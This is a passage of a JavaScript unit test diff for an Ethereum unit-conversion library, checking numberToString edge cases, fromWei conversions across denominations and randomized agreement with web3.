describe('numberToString', () => {
|
81
|
+
it('should handle edge cases', () => {
|
82
|
+
// assert.throws(() => units.numberToString(null), Error);
|
83
|
+
assert.throws(() => units.numberToString(undefined), Error);
|
84
|
+
// assert.throws(() => units.numberToString(NaN), Error);
|
85
|
+
assert.throws(() => units.numberToString({}), Error);
|
86
|
+
assert.throws(() => units.numberToString([]), Error);
|
87
|
+
assert.throws(() => units.numberToString('-1sdffsdsdf'), Error);
|
88
|
+
assert.throws(() => units.numberToString('-0..-...9'), Error);
|
89
|
+
assert.throws(() => units.numberToString('fds'), Error);
|
90
|
+
assert.throws(() => units.numberToString(''), Error);
|
91
|
+
assert.throws(() => units.numberToString('#'), Error);
|
92
|
+
assert.equal(units.numberToString(55), '55');
|
93
|
+
assert.equal(units.numberToString(1), '1');
|
94
|
+
assert.equal(units.numberToString(-1), '-1');
|
95
|
+
assert.equal(units.numberToString(0), '0');
|
96
|
+
assert.equal(units.numberToString(-0), '0');
|
97
|
+
assert.equal(units.numberToString(new ActualBigNumber(10.1)), '10.1');
|
98
|
+
assert.equal(units.numberToString(new ActualBigNumber(10000)), '10000');
|
99
|
+
assert.equal(units.numberToString(new BigNumber(10000)), '10000');
|
100
|
+
assert.equal(units.numberToString(new BigNumber('-1')), '-1');
|
101
|
+
assert.equal(units.numberToString(new BigNumber('1')), '1');
|
102
|
+
assert.equal(units.numberToString(new BigNumber(0)), '0');
|
103
|
+
});
|
104
|
+
});
|
105
|
+
|
106
|
+
describe('fromWei', () => {
|
107
|
+
it('should handle options', () => {
|
108
|
+
assert.equal(units.fromWei(10000000, 'wei', { commify: true }), '10,000,000');
|
109
|
+
});
|
110
|
+
|
111
|
+
it('should return the correct value', () => {
|
112
|
+
assert.equal(units.fromWei(1000000000000000000, 'wei'), '1000000000000000000');
|
113
|
+
assert.equal(units.fromWei(1000000000000000000, 'kwei'), '1000000000000000');
|
114
|
+
assert.equal(units.fromWei(1000000000000000000, 'mwei'), '1000000000000');
|
115
|
+
assert.equal(units.fromWei(1000000000000000000, 'gwei'), '1000000000');
|
116
|
+
assert.equal(units.fromWei(1000000000000000000, 'szabo'), '1000000');
|
117
|
+
assert.equal(units.fromWei(1000000000000000000, 'finney'), '1000');
|
118
|
+
assert.equal(units.fromWei(1000000000000000000, 'ether'), '1');
|
119
|
+
assert.equal(units.fromWei(1000000000000000000, 'kether'), '0.001');
|
120
|
+
assert.equal(units.fromWei(1000000000000000000, 'grand'), '0.001');
|
121
|
+
assert.equal(units.fromWei(1000000000000000000, 'mether'), '0.000001');
|
122
|
+
assert.equal(units.fromWei(1000000000000000000, 'gether'), '0.000000001');
|
123
|
+
assert.equal(units.fromWei(1000000000000000000, 'tether'), '0.000000000001');
|
124
|
+
});
|
125
|
+
});
|
126
|
+
|
127
|
+
describe('units', () => {
|
128
|
+
describe('normal functionality', () => {
|
129
|
+
it('should be the same as web3', () => {
|
130
|
+
for (var i = 0; i < 15000; i++) { // eslint-disable-line
|
131
|
+
testRandomValueAgainstWeb3ToWei(false);
|
132
|
+
testRandomValueAgainstWeb3ToWei(true);
|
133
|
+
testRandomValueAgainstWeb3FromWei(false);
|
134
|
+
testRandomValueAgainstWeb3FromWei(true);
|
135
|
+
}
|
136
|
+
});
|
137
|
+
});
|
138
|
+
});
|